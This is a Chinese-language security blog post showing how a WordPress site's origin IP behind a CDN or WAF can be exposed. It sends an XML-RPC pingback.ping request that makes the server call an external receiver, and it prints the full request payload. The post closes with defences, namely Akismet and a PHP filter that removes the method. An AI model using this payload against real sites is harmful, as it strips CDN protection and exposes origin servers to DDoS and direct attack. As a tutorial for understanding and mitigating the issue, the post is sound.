Keniver's Blog

取得 CDN(WAF) 背後的 WordPress 真實 IP

前言

在現在 CDN (或者是 WAF) 普及的時代,架設網站沒有掛個 CDN 實在太過意不去啦,CDN 除了提升使用者體驗外,蠻多 CDN 都有提供一定程度的 WAF 防禦功能,同時也避免伺服器真實 IP 外洩而遭受 DDoS 攻擊的危害。

但是如果網站是使用 WordPress 所架設的,其實我們是可以透過 XML-RPC 來讓 WordPress 自報家門 (IP) 的呢!

0x00 XML-RPC 是啥?

簡單來說,XML-RPC 是使用 XML 格式封裝的 RPC(Remote Procedure Call) ,而 WordPress 正好有提供 XML-RPC,讓我們可以藉此操作 WordPress。

下面是一個列出支援方法的 XML-RPC

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
    <methodName>system.listMethods</methodName>
    <params></params>
</methodCall>

WordPress 的 XML-RPC 的 Endpoint 位於 https://網址/xmlrpc.php,使用 POST 的方式傳送

回傳的結果也是 XML,裡面包含了可以使用的方法

0x01 關於 Pingback

Pingback 是部落格系統中的一個機制,用於通知對方 Blog 說: 「我提到了你!」,讓對方知道有誰的 Blog 提到他的文章,這類似我們聊天中常用的 @,然而 WordPress 作為知名的 Blog 系統當然具有這個功能。

但仔細想一想,這個功能的實作是由主機所發出的,這就意味著只要能讓他戳我,我就可以獲得主機的真實 IP。

0x02 利用一下 pingback.ping

在 WordPress XML-RPC 的可用方法清單中,我們可以觀察到 pingback.ping 的存在。

而這個方法的呼叫負荷(Payload)如下

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
   <methodName>pingback.ping</methodName>
   <params>
       <param>
           <value><string>文章來源</string></value>
       </param>
       <param>
           <value><string>參照到的文章</string></value>
       </param>
   </params>
</methodCall>

像是本篇文章的網址為 https://blog.keniver.com/2022/05/ip-disclosure-of-wordpress-behind-cdn-waf/,而我的接收端為 http://pingb.in/bbbbbbbbbbbbbbbbbbbbbbbbbbbb,我們就可以把 Payload 改成下面這樣

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
   <methodName>pingback.ping</methodName>
   <params>
       <param>
           <value><string>http://pingb.in/p/bbbbbbbbbbbbbbbbbbbbbbbbbbbb</string></value>
       </param>
       <param>
           <value><string>https://blog.keniver.com/2022/05/ip-disclosure-of-wordpress-behind-cdn-waf/</string></value>
       </param>
   </params>
</methodCall>

送出後,我們會得到失敗的回應,但不用擔心,當然會失敗啊(畢竟接收端不是支援 Pingback 的 Blog)

我們接著就可以在接收端觀察到這次的請求

0x03 Invalid discovery target

如果回應結果中出現了 Invalid discovery target ,代表這個 Blog 啟動了 Akismet Anti-Spam 這個外掛,被擋掉啦~

0x04 如何防禦

  1. 安裝外掛 Akismet Anti-Spam 讓他幫你阻擋
  2. 寫段程式把 XML-RPC 的 pingback.ping 移除
<?php
add_filter( 'xmlrpc_methods', 
   function( $methods ) {
         unset( $methods['pingback.ping'] );
         return $methods;
   }
);

由於 pingback.ping 被我們拔掉了,當嘗試呼叫這個功能時將會發生錯誤